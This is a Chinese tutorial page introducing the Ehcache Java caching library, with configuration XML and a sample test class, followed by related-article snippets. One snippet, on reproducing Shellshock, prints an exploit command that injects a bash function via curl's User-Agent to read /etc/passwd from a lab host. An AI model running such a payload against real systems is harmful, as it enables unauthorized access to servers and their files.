Ehcache基础入门
1. 基本介绍
EhCache 是一个纯Java的进程内缓存框架,具有快速、精干等特点,是Hibernate中默认CacheProvider。Ehcache是一种广泛使用的开源Java分布式缓存。主要面向通用缓存,Java EE和轻量级容器。它具有内存和磁盘存储,缓存加载器,缓存扩展,缓存异常处理程序,一个gzip缓存servlet过滤器,支持REST和SOAP api等特点。
Spring 提供了对缓存功能的抽象:即允许绑定不同的缓存解决方案(如Ehcache),但本身不直接提供缓存功能的实现。它支持注解方式使用缓存,非常方便。
2. 主要的特性有:
快速
简单
多种缓存策略
缓存数据有两级:内存和磁盘,因此无需担心容量问题
缓存数据会在虚拟机重启的过程中写入磁盘
可以通过RMI、可插入API等方式进行分布式缓存
具有缓存和缓存管理器的侦听接口
支持多缓存管理器实例,以及一个实例的多个缓存区域
提供Hibernate的缓存实现
3. 集成
可以单独使用,一般在第三方库中被用到的比较多(如mybatis、shiro等)ehcache 对分布式支持不够好,多个节点不能同步,通常和redis一块使用
4. ehcache 和 redis 比较
ehcache直接在jvm虚拟机中缓存,速度快,效率高;但是缓存共享麻烦,集群分布式应用不方便。
redis是通过socket访问到缓存服务,效率比ecache低,比数据库要快很多,
处理集群和分布式缓存方便,有成熟的方案。如果是单个应用或者对缓存访问要求很高的应用,用ehcache。如果是大型系统,存在缓存共享、分布式部署、缓存内容很大的,建议用redis。
ehcache也有缓存共享方案,不过是通过RMI或者Jgroup多播方式进行广播缓存通知更新,缓存共享复杂,维护不方便;简单的共享可以,但是涉及到缓存恢复,大数据缓存,则不合适。
ehcache使用
1、在pom.xml中引入依赖
<dependency>
<groupId>net.sf.ehcache</groupId>
<artifactId>ehcache</artifactId>
<version>2.10.2</version>
</dependency>
2、在src/main/resources/创建一个配置文件 ehcache.xml
默认情况下Ehcache会自动加载classpath根目录下名为ehcache.xml文件,也可以将该文件放到其他地方在使用时指定文件的位置
<?xml version="1.0" encoding="UTF-8"?>
<ehcache xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://ehcache.org/ehcache.xsd">
<!-- 磁盘缓存位置 -->
<diskStore path="java.io.tmpdir/ehcache"/>
<!-- 默认缓存 -->
<defaultCache
maxEntriesLocalHeap="10000"
eternal="false"
timeToIdleSeconds="120"
timeToLiveSeconds="120"
maxEntriesLocalDisk="10000000"
diskExpiryThreadIntervalSeconds="120"
memoryStoreEvictionPolicy="LRU">
<persistence strategy="localTempSwap"/>
</defaultCache>
<!-- helloworld缓存 -->
<cache name="HelloWorldCache"
maxElementsInMemory="1000"
eternal="false"
timeToIdleSeconds="5"
timeToLiveSeconds="5"
overflowToDisk="false"
memoryStoreEvictionPolicy="LRU"/>
</ehcache>
3、测试类
package com.mengdee.manage.cache;import com.mengdee.manage.entity.Dog;import net.sf.ehcache.Cache;import net.sf.ehcache.CacheManager;import net.sf.ehcache.Element;public class CacheTest {
public static void main(String[] args) { // 1. 创建缓存管理器
CacheManager cacheManager = CacheManager.create("./src/main/resources/ehcache.xml"); // 2. 获取缓存对象
Cache cache = cacheManager.getCache("HelloWorldCache"); // 3. 创建元素
Element element = new Element("key1", "value1"); // 4. 将元素添加到缓存
cache.put(element); // 5. 获取缓存
Element value = cache.get("key1");
System.out.println(value);
System.out.println(value.getObjectValue()); // 6. 删除元素
cache.remove("key1");
Dog dog = new Dog(1L, "taidi", (short)2);
Element element2 = new Element("taidi", dog);
cache.put(element2);
Element value2 = cache.get("taidi");
Dog dog2 = (Dog) value2.getObjectValue();
System.out.println(dog2);
System.out.println(cache.getSize()); // 7. 刷新缓存
cache.flush(); // 8. 关闭缓存管理器
cacheManager.shutdown();
}
}
QQ群:785071190
查看原文:http://www.coder306.cn/?p=206
Ehcache基础入门的更多相关文章
- js学习笔记:webpack基础入门(一)
之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...
- 「译」JUnit 5 系列:基础入门
原文地址:http://blog.codefx.org/libraries/junit-5-basics/ 原文日期:25, Feb, 2016 译文首发:Linesh 的博客:JUnit 5 系列: ...
- .NET正则表达式基础入门
这是我第一次写的博客,个人觉得十分不容易.以前看别人写的博客文字十分流畅,到自己来写却发现十分困难,还是感谢那些为技术而奉献自己力量的人吧. 本教程编写之前,博主阅读了<正则指引>这本入门 ...
- 从零3D基础入门XNA 4.0(2)——模型和BasicEffect
[题外话] 上一篇文章介绍了3D开发基础与XNA开发程序的整体结构,以及使用Model类的Draw方法将模型绘制到屏幕上.本文接着上一篇文章继续,介绍XNA中模型的结构.BasicEffect的使用以 ...
- 从零3D基础入门XNA 4.0(1)——3D开发基础
[题外话] 最近要做一个3D动画演示的程序,由于比较熟悉C#语言,再加上XNA对模型的支持比较好,故选择了XNA平台.不过从网上找到很多XNA的入门文章,发现大都需要一些3D基础,而我之前并没有接触过 ...
- Shell编程菜鸟基础入门笔记
Shell编程基础入门 1.shell格式:例 shell脚本开发习惯 1.指定解释器 #!/bin/bash 2.脚本开头加版权等信息如:#DATE:时间,#author(作者)#mail: ...
- [Spring框架]Spring AOP基础入门总结二:Spring基于AspectJ的AOP的开发.
前言: 在上一篇中: [Spring框架]Spring AOP基础入门总结一. 中 我们已经知道了一个Spring AOP程序是如何开发的, 在这里呢我们将基于AspectJ来进行AOP 的总结和学习 ...
- [Spring框架]Spring AOP基础入门总结一.
前言:前面已经有两篇文章讲了Spring IOC/DI 以及 使用xml和注解两种方法开发的案例, 下面就来梳理一下Spring的另一核心AOP. 一, 什么是AOP 在软件业,AOP为Aspect ...
- RobotFramework - 基础入门
Robot Framework Wiki HomePage Robot Framework User Guide Robot Framework documentation Robot Framewo ...
随机推荐
- AES128_CBC模式加密
高级加密标准(英语:Advanced Encryption Standard,缩写:AES),在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准.这个标准用来替代原先的DES, ...
- 缓冲区(Buffer)的数据存取
缓冲区(Buffer) 1. 缓冲区(Buffer):一个用于特定基本数据类 型的容器. 由 java.nio 包定义的,所有缓冲区 都是 Buffer 抽象类的子类.2. Java NIO 中的 B ...
- This的关键字的使用
this: 1.可以用来修饰属性 方法 构造器 2.this理解为当前对象或当前正在创建的对象. 3.可以在构造器中通过this()形参的方式显示的调用本类中其他重载的指定的构造器 要求: 在构造器 ...
- Shellshock漏洞复现
漏洞分析: exp: curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://172.16.20.134:8080/victi ...
- 透过 NestedScrollView 源码解析嵌套滑动原理
NestedScrollView 是用于替代 ScrollView 来解决嵌套滑动过程中的滑动事件的冲突.作为开发者,你会发现很多地方会用到嵌套滑动的逻辑,比如下拉刷新页面,京东或者淘宝的各种商品页面 ...
- 关于hexo-blog-encrypt插件输入密码后无响应的问题
解决方案:更改网站为https协议 具体请查看: https://github.com/MikeCoder/hexo-blog-encrypt/issues/114
- jchdl - GSL实例 - Mul(无符号数的乘法)
这里实现最原始的阵列乘法,逐位相乘然后加到一起. 参考链接 https://github.com/wjcdx/jchdl/blob/edcc3e098d4f1cb21677e86e87a114 ...
- 关于URL优化的一些经验
URL在搜索结果列表中时显示内容之一.设计网站结构时需要对目录及文件命名系统做事先规划.总的原则是首先从用户体验出发,URL应该清晰友好.方便记忆,然后才考虑URL对排名的影响.具体可以考虑以下几个方 ...
- Java实现蓝桥杯历届试题回文数字
历届试题 回文数字 时间限制:1.0s 内存限制:256.0MB 提交此题 问题描述 观察数字:12321,123321 都有一个共同的特征,无论从左到右读还是从右向左读,都是相同的.这样的数字叫做: ...
- Java实现 蓝桥杯 算法提高 最大乘积
算法提高 最大乘积 时间限制:1.0s 内存限制:512.0MB 提交此题 问题描述 对于n个数,从中取出m个数,如何取使得这m个数的乘积最大呢? 输入格式 第一行一个数表示数据组数 每组输入数据共2 ...